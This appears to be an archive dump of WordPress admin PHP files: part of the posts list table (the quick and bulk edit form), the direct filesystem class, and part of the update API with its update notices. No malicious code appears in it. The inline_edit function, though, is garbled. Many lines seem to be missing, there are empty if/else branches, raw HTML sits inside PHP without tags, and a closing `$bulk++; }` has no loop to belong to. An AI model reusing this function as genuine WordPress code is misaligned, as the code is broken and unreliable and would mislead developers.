					 * @since 1.5.0
					 *
					 * @param string $column_name The name of the column to display.
					 * @param int    $post_id     The current post ID.
					 */
					do_action( 'manage_posts_custom_column', $column_name, $post->ID );
				}

/**
				 * Fires for each custom column of a specific post type in the Posts list table.
				 *
				 * The dynamic portion of the hook name, $post->post_type, refers to the post type.
				 *
				 * @since 3.1.0
				 *
				 * @param string $column_name The name of the column to display.
				 * @param int    $post_id     The current post ID.
				 */
				do_action( "manage_{$post->post_type}_posts_custom_column", $column_name, $post->ID );
			?></td>
			<?php
			break;
			}
		}
	?>
		</tr>
	<?php
		$GLOBALS['post'] = $global_post;
	}

/**
	 * Outputs the hidden row displayed when inline editing
	 *
	 * @since 3.1.0
	 */
	function inline_edit() {
		global $mode;

$screen = $this->screen;

$post = get_default_post_to_edit( $screen->post_type );
		$post_type_object = get_post_type_object( $screen->post_type );

$taxonomy_names = get_object_taxonomies( $screen->post_type );
		$hierarchical_taxonomies = array();
		$flat_taxonomies = array();
		foreach ( $taxonomy_names as $taxonomy_name ) {
			$taxonomy = get_taxonomy( $taxonomy_name );

if ( !$taxonomy->show_ui )
				continue;

if ( $taxonomy->hierarchical )
				$hierarchical_taxonomies[] = $taxonomy;
			else
				$flat_taxonomies[] = $taxonomy;
		}

$m = ( isset( $mode ) && 'excerpt' == $mode ) ? 'excerpt' : 'list';
		$can_publish = current_user_can( $post_type_object->cap->publish_posts );
		$core_columns = array( 'cb' => true, 'date' => true, 'title' => true, 'categories' => true, 'tags' => true, 'comments' => true, 'author' => true );

<tr id="<?php echo $bulk ? 'bulk-edit' : 'inline-edit'; ?>" class="inline-edit-row inline-edit-row-<?php echo "$hclass inline-edit-" . $screen->post_type;
			echo $bulk ? " bulk-edit-row bulk-edit-row-$hclass bulk-edit-{$screen->post_type}" : " quick-edit-row quick-edit-row-$hclass inline-edit-{$screen->post_type}";
		?>" style="display: none"><td colspan="<?php echo $this->get_column_count(); ?>" class="colspanchange">

<fieldset class="inline-edit-col-left"><div class="inline-edit-col">
			<h4><?php echo $bulk ? __( 'Bulk Edit' ) : __( 'Quick Edit' ); ?></h4>
	<?php

if ( post_type_supports( $screen->post_type, 'title' ) ) :
		if ( $bulk ) : ?>
			<div id="bulk-title-div">
				<div id="bulk-titles"></div>
			</div>

<?php else : // $bulk ?>

<?php endif; // $bulk
	endif; // post_type_supports title ?>

<?php if ( !$bulk ) : ?>
			<label><span class="title"><?php _e( 'Date' ); ?></span></label>
			<div class="inline-edit-date">
				<?php touch_time( 1, 1, 0, 1 ); ?>
			</div>
			<br class="clear" />
	<?php endif; // $bulk

if ( post_type_supports( $screen->post_type, 'author' ) ) :
			$authors_dropdown = '';

if ( is_super_admin() || current_user_can( $post_type_object->cap->edit_others_posts ) ) :
				$users_opt = array(
					'hide_if_only_one_author' => false,
					'who' => 'authors',
					'name' => 'post_author',
					'class'=> 'authors',
					'multi' => 1,
					'echo' => 0
				);
				if ( $bulk )
					$users_opt['show_option_none'] = __( '&mdash; No Change &mdash;' );

if ( $authors = wp_dropdown_users( $users_opt ) ) :
					$authors_dropdown  = '<label class="inline-edit-author">';
					$authors_dropdown .= '<span class="title">' . __( 'Author' ) . '</span>';
					$authors_dropdown .= $authors;
					$authors_dropdown .= '</label>';
				endif;
			endif; // authors
	?>

<?php if ( !$bulk ) echo $authors_dropdown;
	endif; // post_type_supports author

if ( !$bulk && $can_publish ) :
	?>

<?php endif; ?>

</div></fieldset>

<?php if ( count( $hierarchical_taxonomies ) && !$bulk ) : ?>

<?php foreach ( $hierarchical_taxonomies as $taxonomy ) : ?>

<span class="title inline-edit-categories-label"><?php echo esc_html( $taxonomy->labels->name ) ?></span>
			<input type="hidden" name="<?php echo ( $taxonomy->name == 'category' ) ? 'post_category[]' : 'tax_input[' . esc_attr( $taxonomy->name ) . '][]'; ?>" value="0" />
			<ul class="cat-checklist <?php echo esc_attr( $taxonomy->name )?>-checklist">
				<?php wp_terms_checklist( null, array( 'taxonomy' => $taxonomy->name ) ) ?>
			</ul>

<?php endforeach; //$hierarchical_taxonomies as $taxonomy ?>

</div></fieldset>

<?php endif; // count( $hierarchical_taxonomies ) && !$bulk ?>

<?php
		if ( post_type_supports( $screen->post_type, 'author' ) && $bulk )
			echo $authors_dropdown;

if ( post_type_supports( $screen->post_type, 'page-attributes' ) ) :

if ( $post_type_object->hierarchical ) :
		?>
			<label>
				<span class="title"><?php _e( 'Parent' ); ?></span>
	<?php
		$dropdown_args = array(
			'post_type'         => $post_type_object->name,
			'selected'          => $post->post_parent,
			'name'              => 'post_parent',
			'show_option_none'  => __( 'Main Page (no parent)' ),
			'option_none_value' => 0,
			'sort_column'       => 'menu_order, post_title',
		);

if ( $bulk )
			$dropdown_args['show_option_no_change'] =  __( '&mdash; No Change &mdash;' );

/**
		 * Filter the arguments used to generate the Quick Edit page-parent drop-down.
		 *
		 * @since 2.7.0
		 *
		 * @see wp_dropdown_pages()
		 *
		 * @param array $dropdown_args An array of arguments.
		 */
		$dropdown_args = apply_filters( 'quick_edit_dropdown_pages_args', $dropdown_args );

wp_dropdown_pages( $dropdown_args );
	?>
			</label>

<?php
			endif; // hierarchical

if ( !$bulk ) : ?>

<label>
				<span class="title"><?php _e( 'Order' ); ?></span>
				<span class="input-text-wrap"><input type="text" name="menu_order" class="inline-edit-menu-order-input" value="<?php echo $post->menu_order ?>" /></span>
			</label>

<?php	endif; // !$bulk

if ( 'page' == $screen->post_type ) :
	?>

<?php
			endif; // page post_type
		endif; // page-attributes
	?>

<?php if ( count( $flat_taxonomies ) && !$bulk ) : ?>

<?php foreach ( $flat_taxonomies as $taxonomy ) : ?>
		<?php if ( current_user_can( $taxonomy->cap->assign_terms ) ) : ?>
			<label class="inline-edit-tags">
				<span class="title"><?php echo esc_html( $taxonomy->labels->name ) ?></span>
				<textarea cols="22" rows="1" name="tax_input[<?php echo esc_attr( $taxonomy->name )?>]" class="tax_input_<?php echo esc_attr( $taxonomy->name )?>"></textarea>
			</label>
		<?php endif; ?>

<?php endforeach; //$flat_taxonomies as $taxonomy ?>

<?php endif; // count( $flat_taxonomies ) && !$bulk  ?>

<?php if ( post_type_supports( $screen->post_type, 'comments' ) || post_type_supports( $screen->post_type, 'trackbacks' ) ) :
		if ( $bulk ) : ?>

<div class="inline-edit-group">
		<?php if ( post_type_supports( $screen->post_type, 'comments' ) ) : ?>
			<label class="alignleft">
				<span class="title"><?php _e( 'Comments' ); ?></span>
				<select name="comment_status">
					<option value=""><?php _e( '&mdash; No Change &mdash;' ); ?></option>
					<option value="open"><?php _e( 'Allow' ); ?></option>
					<option value="closed"><?php _e( 'Do not allow' ); ?></option>
				</select>
			</label>
		<?php endif; if ( post_type_supports( $screen->post_type, 'trackbacks' ) ) : ?>
			<label class="alignright">
				<span class="title"><?php _e( 'Pings' ); ?></span>
				<select name="ping_status">
					<option value=""><?php _e( '&mdash; No Change &mdash;' ); ?></option>
					<option value="open"><?php _e( 'Allow' ); ?></option>
					<option value="closed"><?php _e( 'Do not allow' ); ?></option>
				</select>
			</label>
		<?php endif; ?>
			</div>

<?php else : // $bulk ?>

<div class="inline-edit-group">
			<?php if ( post_type_supports( $screen->post_type, 'comments' ) ) : ?>
				<label class="alignleft">
					<input type="checkbox" name="comment_status" value="open" />
					<span class="checkbox-title"><?php _e( 'Allow Comments' ); ?></span>
				</label>
			<?php endif; if ( post_type_supports( $screen->post_type, 'trackbacks' ) ) : ?>
				<label class="alignleft">
					<input type="checkbox" name="ping_status" value="open" />
					<span class="checkbox-title"><?php _e( 'Allow Pings' ); ?></span>
				</label>
			<?php endif; ?>
			</div>

<?php endif; // $bulk
	endif; // post_type_supports comments or pings ?>

<?php if ( 'post' == $screen->post_type && $can_publish && current_user_can( $post_type_object->cap->edit_others_posts ) ) : ?>

<?php	if ( $bulk ) : ?>

<?php	else : // $bulk ?>

<?php	endif; // $bulk ?>

<?php endif; // 'post' && $can_publish && current_user_can( 'edit_others_cap' ) ?>

</div>

<?php

if ( $bulk && current_theme_supports( 'post-formats' ) && post_type_supports( $screen->post_type, 'post-formats' ) ) {
		$post_formats = get_theme_support( 'post-formats' );

?>
		<label class="alignleft" for="post_format">
		<span class="title"><?php _ex( 'Format', 'post format' ); ?></span>
		<select name="post_format">
			<option value="-1"><?php _e( '&mdash; No Change &mdash;' ); ?></option>
			<option value="0"><?php echo get_post_format_string( 'standard' ); ?></option>
			<?php

foreach ( $post_formats[0] as $format ) {
				?>
				<option value="<?php echo esc_attr( $format ); ?>"><?php echo esc_html( get_post_format_string( $format ) ); ?></option>
				<?php
			}

?>
		</select></label>
	<?php

}

</div></fieldset>

<?php
		list( $columns ) = $this->get_column_info();

foreach ( $columns as $column_name => $column_display_name ) {
			if ( isset( $core_columns[$column_name] ) )
				continue;

if ( $bulk ) {

/**
				 * Fires once for each column in Bulk Edit mode.
				 *
				 * @since 2.7.0
				 *
				 * @param string  $column_name Name of the column to edit.
				 * @param WP_Post $post_type   The post type slug.
				 */
				do_action( 'bulk_edit_custom_box', $column_name, $screen->post_type );
			} else {

/**
				 * Fires once for each column in Quick Edit mode.
				 *
				 * @since 2.7.0
				 *
				 * @param string  $column_name Name of the column to edit.
				 * @param WP_Post $post_type   The post type slug.
				 */
				do_action( 'quick_edit_custom_box', $column_name, $screen->post_type );
			}

}
	?>
		<p class="submit inline-edit-save">
			<a accesskey="c" href="#inline-edit" class="button-secondary cancel alignleft"><?php _e( 'Cancel' ); ?></a>
			<?php if ( ! $bulk ) {
				wp_nonce_field( 'inlineeditnonce', '_inline_edit', false );
				?>
				<a accesskey="s" href="#inline-edit" class="button-primary save alignright"><?php _e( 'Update' ); ?></a>
				<span class="spinner"></span>
			<?php } else {
				submit_button( __( 'Update' ), 'button-primary alignright', 'bulk_edit', false, array( 'accesskey' => 's' ) );
			} ?>
			<input type="hidden" name="post_view" value="<?php echo esc_attr( $m ); ?>" />
			<input type="hidden" name="screen" value="<?php echo esc_attr( $screen->id ); ?>" />
			<?php if ( ! $bulk && ! post_type_supports( $screen->post_type, 'author' ) ) { ?>
				<input type="hidden" name="post_author" value="<?php echo esc_attr( $post->post_author ); ?>" />
			<?php } ?>
			<span class="error" style="display:none"></span>
			<br class="clear" />
		</p>
		</td></tr>
	<?php
		$bulk++;
		}
?>
		</tbody></table></form>
<?php
	}
}
class-wp-filesystem-direct.php000077700000022572151514577750012500 0ustar00<?php
/**
 * WordPress Direct Filesystem.
 *
 * @package WordPress
 * @subpackage Filesystem
 */

/**
 * WordPress Filesystem Class for direct PHP file and folder manipulation.
 *
 * @since 2.5.0
 * @package WordPress
 * @subpackage Filesystem
 * @uses WP_Filesystem_Base Extends class
 */
class WP_Filesystem_Direct extends WP_Filesystem_Base {

/**
	 * constructor
	 *
	 * @param mixed $arg ignored argument
	 */
	function __construct($arg) {
		$this->method = 'direct';
		$this->errors = new WP_Error();
	}

/**
	 * Reads entire file into a string
	 *
	 * @param string $file Name of the file to read.
	 * @return string|bool The function returns the read data or false on failure.
	 */
	function get_contents($file) {
		return @file_get_contents($file);
	}

/**
	 * Reads entire file into an array
	 *
	 * @param string $file Path to the file.
	 * @return array|bool the file contents in an array or false on failure.
	 */
	function get_contents_array($file) {
		return @file($file);
	}

/**
	 * Write a string to a file
	 *
	 * @param string $file Remote path to the file where to write the data.
	 * @param string $contents The data to write.
	 * @param int $mode (optional) The file permissions as octal number, usually 0644.
	 * @return bool False upon failure.
	 */
	function put_contents( $file, $contents, $mode = false ) {
		$fp = @fopen( $file, 'wb' );
		if ( ! $fp )
			return false;

mbstring_binary_safe_encoding();

$data_length = strlen( $contents );

$bytes_written = fwrite( $fp, $contents );

reset_mbstring_encoding();

fclose( $fp );

if ( $data_length !== $bytes_written )
			return false;

$this->chmod( $file, $mode );

return true;
	}

/**
	 * Gets the current working directory
	 *
	 * @return string|bool the current working directory on success, or false on failure.
	 */
	function cwd() {
		return @getcwd();
	}

/**
	 * Change directory
	 *
	 * @param string $dir The new current directory.
	 * @return bool Returns true on success or false on failure.
	 */
	function chdir($dir) {
		return @chdir($dir);
	}

/**
	 * Changes file group
	 *
	 * @param string $file Path to the file.
	 * @param mixed $group A group name or number.
	 * @param bool $recursive (optional) If set True changes file group recursively. Defaults to False.
	 * @return bool Returns true on success or false on failure.
	 */
	function chgrp($file, $group, $recursive = false) {
		if ( ! $this->exists($file) )
			return false;
		if ( ! $recursive )
			return @chgrp($file, $group);
		if ( ! $this->is_dir($file) )
			return @chgrp($file, $group);
		// Is a directory, and we want recursive
		$file = trailingslashit($file);
		$filelist = $this->dirlist($file);
		foreach ($filelist as $filename)
			$this->chgrp($file . $filename, $group, $recursive);

return true;
	}

/**
	 * Changes filesystem permissions
	 *
	 * @param string $file Path to the file.
	 * @param int $mode (optional) The permissions as octal number, usually 0644 for files, 0755 for dirs.
	 * @param bool $recursive (optional) If set True changes file group recursively. Defaults to False.
	 * @return bool Returns true on success or false on failure.
	 */
	function chmod($file, $mode = false, $recursive = false) {
		if ( ! $mode ) {
			if ( $this->is_file($file) )
				$mode = FS_CHMOD_FILE;
			elseif ( $this->is_dir($file) )
				$mode = FS_CHMOD_DIR;
			else
				return false;
		}

if ( ! $recursive || ! $this->is_dir($file) )
			return @chmod($file, $mode);
		// Is a directory, and we want recursive
		$file = trailingslashit($file);
		$filelist = $this->dirlist($file);
		foreach ( (array)$filelist as $filename => $filemeta)
			$this->chmod($file . $filename, $mode, $recursive);

return true;
	}

/**
	 * Changes file owner
	 *
	 * @param string $file Path to the file.
	 * @param mixed $owner A user name or number.
	 * @param bool $recursive (optional) If set True changes file owner recursively. Defaults to False.
	 * @return bool Returns true on success or false on failure.
	 */
	function chown($file, $owner, $recursive = false) {
		if ( ! $this->exists($file) )
			return false;
		if ( ! $recursive )
			return @chown($file, $owner);
		if ( ! $this->is_dir($file) )
			return @chown($file, $owner);
		// Is a directory, and we want recursive
		$filelist = $this->dirlist($file);
		foreach ($filelist as $filename) {
			$this->chown($file . '/' . $filename, $owner, $recursive);
		}
		return true;
	}

/**
	 * Gets file owner
	 *
	 * @param string $file Path to the file.
	 * @return string|bool Username of the user or false on error.
	 */
	function owner($file) {
		$owneruid = @fileowner($file);
		if ( ! $owneruid )
			return false;
		if ( ! function_exists('posix_getpwuid') )
			return $owneruid;
		$ownerarray = posix_getpwuid($owneruid);
		return $ownerarray['name'];
	}

/**
	 * Gets file permissions
	 *
	 * FIXME does not handle errors in fileperms()
	 *
	 * @param string $file Path to the file.
	 * @return string Mode of the file (last 3 digits).
	 */
	function getchmod($file) {
		return substr( decoct( @fileperms( $file ) ), -3 );
	}

function group($file) {
		$gid = @filegroup($file);
		if ( ! $gid )
			return false;
		if ( ! function_exists('posix_getgrgid') )
			return $gid;
		$grouparray = posix_getgrgid($gid);
		return $grouparray['name'];
	}

function copy($source, $destination, $overwrite = false, $mode = false) {
		if ( ! $overwrite && $this->exists($destination) )
			return false;

$rtval = copy($source, $destination);
		if ( $mode )
			$this->chmod($destination, $mode);
		return $rtval;
	}

function move($source, $destination, $overwrite = false) {
		if ( ! $overwrite && $this->exists($destination) )
			return false;

// try using rename first. if that fails (for example, source is read only) try copy
		if ( @rename($source, $destination) )
			return true;

if ( $this->copy($source, $destination, $overwrite) && $this->exists($destination) ) {
			$this->delete($source);
			return true;
		} else {
			return false;
		}
	}

function delete($file, $recursive = false, $type = false) {
		if ( empty( $file ) ) // Some filesystems report this as /, which can cause non-expected recursive deletion of all files in the filesystem.
			return false;
		$file = str_replace( '\\', '/', $file ); // for win32, occasional problems deleting files otherwise

if ( 'f' == $type || $this->is_file($file) )
			return @unlink($file);
		if ( ! $recursive && $this->is_dir($file) )
			return @rmdir($file);

// At this point it's a folder, and we're in recursive mode
		$file = trailingslashit($file);
		$filelist = $this->dirlist($file, true);

$retval = true;
		if ( is_array( $filelist ) ) {
			foreach ( $filelist as $filename => $fileinfo ) {
				if ( ! $this->delete($file . $filename, $recursive, $fileinfo['type']) )
					$retval = false;
			}
		}

if ( file_exists($file) && ! @rmdir($file) )
			$retval = false;

return $retval;
	}

function exists($file) {
		return @file_exists($file);
	}

function is_file($file) {
		return @is_file($file);
	}

function is_dir($path) {
		return @is_dir($path);
	}

function is_readable($file) {
		return @is_readable($file);
	}

function is_writable($file) {
		return @is_writable($file);
	}

function atime($file) {
		return @fileatime($file);
	}

function mtime($file) {
		return @filemtime($file);
	}

function size($file) {
		return @filesize($file);
	}

function touch($file, $time = 0, $atime = 0) {
		if ($time == 0)
			$time = time();
		if ($atime == 0)
			$atime = time();
		return @touch($file, $time, $atime);
	}

function mkdir($path, $chmod = false, $chown = false, $chgrp = false) {
		// safe mode fails with a trailing slash under certain PHP versions.
		$path = untrailingslashit($path);
		if ( empty($path) )
			return false;

if ( ! $chmod )
			$chmod = FS_CHMOD_DIR;

if ( ! @mkdir($path) )
			return false;
		$this->chmod($path, $chmod);
		if ( $chown )
			$this->chown($path, $chown);
		if ( $chgrp )
			$this->chgrp($path, $chgrp);
		return true;
	}

function rmdir($path, $recursive = false) {
		return $this->delete($path, $recursive);
	}

function dirlist($path, $include_hidden = true, $recursive = false) {
		if ( $this->is_file($path) ) {
			$limit_file = basename($path);
			$path = dirname($path);
		} else {
			$limit_file = false;
		}

if ( ! $this->is_dir($path) )
			return false;

$dir = @dir($path);
		if ( ! $dir )
			return false;

$ret = array();

while (false !== ($entry = $dir->read()) ) {
			$struc = array();
			$struc['name'] = $entry;

if ( '.' == $struc['name'] || '..' == $struc['name'] )
				continue;

if ( ! $include_hidden && '.' == $struc['name'][0] )
				continue;

if ( $limit_file && $struc['name'] != $limit_file)
				continue;

$struc['perms'] 	= $this->gethchmod($path.'/'.$entry);
			$struc['permsn']	= $this->getnumchmodfromh($struc['perms']);
			$struc['number'] 	= false;
			$struc['owner']    	= $this->owner($path.'/'.$entry);
			$struc['group']    	= $this->group($path.'/'.$entry);
			$struc['size']    	= $this->size($path.'/'.$entry);
			$struc['lastmodunix']= $this->mtime($path.'/'.$entry);
			$struc['lastmod']   = date('M j',$struc['lastmodunix']);
			$struc['time']    	= date('h:i:s',$struc['lastmodunix']);
			$struc['type']		= $this->is_dir($path.'/'.$entry) ? 'd' : 'f';

if ( 'd' == $struc['type'] ) {
				if ( $recursive )
					$struc['files'] = $this->dirlist($path . '/' . $struc['name'], $include_hidden, $recursive);
				else
					$struc['files'] = array();
			}

$ret[ $struc['name'] ] = $struc;
		}
		$dir->close();
		unset($dir);
		return $ret;
	}
}
update.php000077700000042157151514577750006600 0ustar00<?php
/**
 * WordPress Administration Update API
 *
 * @package WordPress
 * @subpackage Administration
 */

/**
 * Selects the first update version from the update_core option.
 *
 * @return bool|object The response from the API on success, false on failure.
 */
function get_preferred_from_update_core() {
	$updates = get_core_updates();
	if ( ! is_array( $updates ) )
		return false;
	if ( empty( $updates ) )
		return (object) array( 'response' => 'latest' );
	return $updates[0];
}

/**
 * Get available core updates.
 *
 * @param array $options Set $options['dismissed'] to true to show dismissed upgrades too,
 * 	set $options['available'] to false to skip not-dismissed updates.
 * @return bool|array Array of the update objects on success, false on failure.
 */
function get_core_updates( $options = array() ) {
	$options = array_merge( array( 'available' => true, 'dismissed' => false ), $options );
	$dismissed = get_site_option( 'dismissed_update_core' );

if ( ! is_array( $dismissed ) )
		$dismissed = array();

$from_api = get_site_transient( 'update_core' );

if ( ! isset( $from_api->updates ) || ! is_array( $from_api->updates ) )
		return false;

$updates = $from_api->updates;
	$result = array();
	foreach ( $updates as $update ) {
		if ( $update->response == 'autoupdate' )
			continue;

if ( array_key_exists( $update->current . '|' . $update->locale, $dismissed ) ) {
			if ( $options['dismissed'] ) {
				$update->dismissed = true;
				$result[] = $update;
			}
		} else {
			if ( $options['available'] ) {
				$update->dismissed = false;
				$result[] = $update;
			}
		}
	}
	return $result;
}

/**
 * Gets the best available (and enabled) Auto-Update for WordPress Core.
 *
 * If there's 1.2.3 and 1.3 on offer, it'll choose 1.3 if the install allows it, else, 1.2.3
 *
 * @since 3.7.0
 *
 * @return bool|array False on failure, otherwise the core update offering.
 */
function find_core_auto_update() {
	$updates = get_site_transient( 'update_core' );
	if ( ! $updates || empty( $updates->updates ) )
		return false;

include_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';

$auto_update = false;
	$upgrader = new WP_Automatic_Updater;
	foreach ( $updates->updates as $update ) {
		if ( 'autoupdate' != $update->response )
			continue;

if ( ! $upgrader->should_update( 'core', $update, ABSPATH ) )
			continue;

if ( ! $auto_update || version_compare( $update->current, $auto_update->current, '>' ) )
			$auto_update = $update;
	}
	return $auto_update;
}

/**
 * Gets and caches the checksums for the given version of WordPress.
 *
 * @since 3.7.0
 *
 * @param string $version Version string to query.
 * @param string $locale  Locale to query.
 * @return bool|array False on failure. An array of checksums on success.
 */
function get_core_checksums( $version, $locale ) {
	$return = array();

$url = $http_url = 'http://api.wordpress.org/core/checksums/1.0/?' . http_build_query( compact( 'version', 'locale' ), null, '&' );

if ( $ssl = wp_http_supports( array( 'ssl' ) ) )
		$url = set_url_scheme( $url, 'https' );

$options = array(
		'timeout' => ( ( defined('DOING_CRON') && DOING_CRON ) ? 30 : 3 ),
	);

$response = wp_remote_get( $url, $options );
	if ( $ssl && is_wp_error( $response ) ) {
		trigger_error( __( 'An unexpected error occurred. Something may be wrong with WordPress.org or this server&#8217;s configuration. If you continue to have problems, please try the <a href="https://wordpress.org/support/">support forums</a>.' ) . ' ' . __( '(WordPress could not establish a secure connection to WordPress.org. Please contact your server administrator.)' ), headers_sent() || WP_DEBUG ? E_USER_WARNING : E_USER_NOTICE );
		$response = wp_remote_get( $http_url, $options );
	}

if ( is_wp_error( $response ) || 200 != wp_remote_retrieve_response_code( $response ) )
		return false;

$body = trim( wp_remote_retrieve_body( $response ) );
	$body = json_decode( $body, true );

if ( ! is_array( $body ) || ! isset( $body['checksums'] ) || ! is_array( $body['checksums'] ) )
		return false;

return $body['checksums'];
}

function dismiss_core_update( $update ) {
	$dismissed = get_site_option( 'dismissed_update_core' );
	$dismissed[ $update->current . '|' . $update->locale ] = true;
	return update_site_option( 'dismissed_update_core', $dismissed );
}

function undismiss_core_update( $version, $locale ) {
	$dismissed = get_site_option( 'dismissed_update_core' );
	$key = $version . '|' . $locale;

if ( ! isset( $dismissed[$key] ) )
		return false;

unset( $dismissed[$key] );
	return update_site_option( 'dismissed_update_core', $dismissed );
}

function find_core_update( $version, $locale ) {
	$from_api = get_site_transient( 'update_core' );

if ( ! isset( $from_api->updates ) || ! is_array( $from_api->updates ) )
		return false;

$updates = $from_api->updates;
	foreach ( $updates as $update ) {
		if ( $update->current == $version && $update->locale == $locale )
			return $update;
	}
	return false;
}

function core_update_footer( $msg = '' ) {
	if ( !current_user_can('update_core') )
		return sprintf( __( 'Version %s' ), get_bloginfo( 'version', 'display' ) );

$cur = get_preferred_from_update_core();
	if ( ! is_object( $cur ) )
		$cur = new stdClass;

if ( ! isset( $cur->current ) )
		$cur->current = '';

if ( ! isset( $cur->url ) )
		$cur->url = '';

if ( ! isset( $cur->response ) )
		$cur->response = '';

switch ( $cur->response ) {
	case 'development' :
		return sprintf( __( 'You are using a development version (%1$s). Cool! Please <a href="%2$s">stay updated</a>.' ), get_bloginfo( 'version', 'display' ), network_admin_url( 'update-core.php' ) );
	break;

case 'upgrade' :
		return sprintf( '<strong>'.__( '<a href="%1$s">Get Version %2$s</a>' ).'</strong>', network_admin_url( 'update-core.php' ), $cur->current);
	break;

case 'latest' :
	default :
		return sprintf( __( 'Version %s' ), get_bloginfo( 'version', 'display' ) );
	break;
	}
}
add_filter( 'update_footer', 'core_update_footer' );

function update_nag() {
	if ( is_multisite() && !current_user_can('update_core') )
		return false;

global $pagenow;

if ( 'update-core.php' == $pagenow )
		return;

$cur = get_preferred_from_update_core();

if ( ! isset( $cur->response ) || $cur->response != 'upgrade' )
		return false;

if ( current_user_can('update_core') ) {
		$msg       = sprintf( __('<a href="http://codex.wordpress.org/Version_%1$s">WordPress %1$s</a> is available! <a href="%2$s">Please update now</a>.'), $cur->current, network_admin_url( 'update-core.php' ) );
		$msg_line2 = sprintf(
			/* translators: 1: WordPress version number, 2: Link to update WordPress */
			__( 'Important! Your version of WordPress (%1$s) is no longer supported, you will not receive any security updates for your website. To keep your site secure, please <a href="%2$s">update to the latest version of WordPress</a>.' ),
			get_bloginfo( 'version', 'display' ),
			network_admin_url( 'update-core.php' )
		);
	} else {
		$msg       = sprintf( __('<a href="http://codex.wordpress.org/Version_%1$s">WordPress %1$s</a> is available! Please notify the site administrator.'), $cur->current );
		$msg_line2 = sprintf(
			/* translators: 1: WordPress version number, 2: Link to update WordPress */
			__( 'Important! Your version of WordPress (%1$s) is no longer supported, you will not receive any security updates for your website. To keep your site secure, please <a href="%2$s">update to the latest version of WordPress</a>.' ),
			get_bloginfo( 'version', 'display' ),
			__( 'https://wordpress.org/download/' )
		);
	}
	echo "<div class='update-nag update-nag-core-insecure'><p>$msg</p><p>$msg_line2</p></div>";
}
add_action( 'admin_notices', 'update_nag', 3 );
add_action( 'network_admin_notices', 'update_nag', 3 );

// Called directly from dashboard
function update_right_now_message() {
	$theme_name = wp_get_theme();
	if ( current_user_can( 'switch_themes' ) ) {
		$theme_name = sprintf( '<a href="themes.php">%1$s</a>', $theme_name );
	}

$msg = sprintf( __( 'WordPress %1$s running %2$s theme.' ), get_bloginfo( 'version', 'display' ), $theme_name );

if ( current_user_can('update_core') ) {
		$cur = get_preferred_from_update_core();

if ( isset( $cur->response ) && $cur->response == 'upgrade' )
			$msg .= " <a href='" . network_admin_url( 'update-core.php' ) . "' class='button'>" . sprintf( __('Update to %s'), $cur->current ? $cur->current : __( 'Latest' ) ) . '</a>';
	}

echo "<p id='wp-version-message'>$msg</p>";
}

function get_plugin_updates() {
	$all_plugins = get_plugins();
	$upgrade_plugins = array();
	$current = get_site_transient( 'update_plugins' );
	foreach ( (array)$all_plugins as $plugin_file => $plugin_data) {
		if ( isset( $current->response[ $plugin_file ] ) ) {
			$upgrade_plugins[ $plugin_file ] = (object) $plugin_data;
			$upgrade_plugins[ $plugin_file ]->update = $current->response[ $plugin_file ];
		}
	}

return $upgrade_plugins;
}

function wp_plugin_update_rows() {
	if ( !current_user_can('update_plugins' ) )
		return;

$plugins = get_site_transient( 'update_plugins' );
	if ( isset($plugins->response) && is_array($plugins->response) ) {
		$plugins = array_keys( $plugins->response );
		foreach( $plugins as $plugin_file ) {
			add_action( "after_plugin_row_$plugin_file", 'wp_plugin_update_row', 10, 2 );
		}
	}
}
add_action( 'admin_init', 'wp_plugin_update_rows' );

function wp_plugin_update_row( $file, $plugin_data ) {
	$current = get_site_transient( 'update_plugins' );
	if ( !isset( $current->response[ $file ] ) )
		return false;

$r = $current->response[ $file ];

$plugins_allowedtags = array('a' => array('href' => array(),'title' => array()),'abbr' => array('title' => array()),'acronym' => array('title' => array()),'code' => array(),'em' => array(),'strong' => array());
	$plugin_name = wp_kses( $plugin_data['Name'], $plugins_allowedtags );

$details_url = self_admin_url('plugin-install.php?tab=plugin-information&plugin=' . $r->slug . '&section=changelog&TB_iframe=true&width=600&height=800');

$wp_list_table = _get_list_table('WP_Plugins_List_Table');

if ( is_network_admin() || !is_multisite() ) {
		echo '<tr class="plugin-update-tr"><td colspan="' . $wp_list_table->get_column_count() . '" class="plugin-update colspanchange"><div class="update-message">';

if ( ! current_user_can('update_plugins') )
			printf( __('There is a new version of %1$s available. <a href="%2$s" class="thickbox" title="%3$s">View version %4$s details</a>.'), $plugin_name, esc_url($details_url), esc_attr($plugin_name), $r->new_version );
		else if ( empty($r->package) )
			printf( __('There is a new version of %1$s available. <a href="%2$s" class="thickbox" title="%3$s">View version %4$s details</a>. <em>Automatic update is unavailable for this plugin.</em>'), $plugin_name, esc_url($details_url), esc_attr($plugin_name), $r->new_version );
		else
			printf( __('There is a new version of %1$s available. <a href="%2$s" class="thickbox" title="%3$s">View version %4$s details</a> or <a href="%5$s">update now</a>.'), $plugin_name, esc_url($details_url), esc_attr($plugin_name), $r->new_version, wp_nonce_url( self_admin_url('update.php?action=upgrade-plugin&plugin=') . $file, 'upgrade-plugin_' . $file) );

/**
		 * Fires at the end of the update message container in each
		 * row of the plugins list table.
		 *
		 * The dynamic portion of the hook name, $file, refers to the path
		 * of the plugin's primary file relative to the plugins directory.
		 *
		 * @since 2.8.0
		 *
		 * @param array $plugin_data {
		 *     An array of plugin metadata.
		 *
		 *     @type string $name         The human-readable name of the plugin.
		 *     @type string $plugin_uri   Plugin URI.
		 *     @type string $version      Plugin version.
		 *     @type string $description  Plugin description.
		 *     @type string $author       Plugin author.
		 *     @type string $author_uri   Plugin author URI.
		 *     @type string $text_domain  Plugin text domain.
		 *     @type string $domain_path  Relative path to the plugin's .mo file(s).
		 *     @type bool   $network      Whether the plugin can only be activated network wide.
		 *     @type string $title        The human-readable title of the plugin.
		 *     @type string $author_name  Plugin author's name.
		 *     @type bool   $update       Whether there's an available update. Default null.
	 	 * }
	 	 * @param array $r {
	 	 *     An array of metadata about the available plugin update.
	 	 *
	 	 *     @type int    $id           Plugin ID.
	 	 *     @type string $slug         Plugin slug.
	 	 *     @type string $new_version  New plugin version.
	 	 *     @type string $url          Plugin URL.
	 	 *     @type string $package      Plugin update package URL.
	 	 * }
		 */
		do_action( "in_plugin_update_message-{$file}", $plugin_data, $r );

echo '</div></td></tr>';
	}
}

function get_theme_updates() {
	$themes = wp_get_themes();
	$current = get_site_transient('update_themes');

if ( ! isset( $current->response ) )
		return array();

$update_themes = array();
	foreach ( $current->response as $stylesheet => $data ) {
		$update_themes[ $stylesheet ] = wp_get_theme( $stylesheet );
		$update_themes[ $stylesheet ]->update = $data;
	}

return $update_themes;
}

function wp_theme_update_rows() {
	if ( !current_user_can('update_themes' ) )
		return;

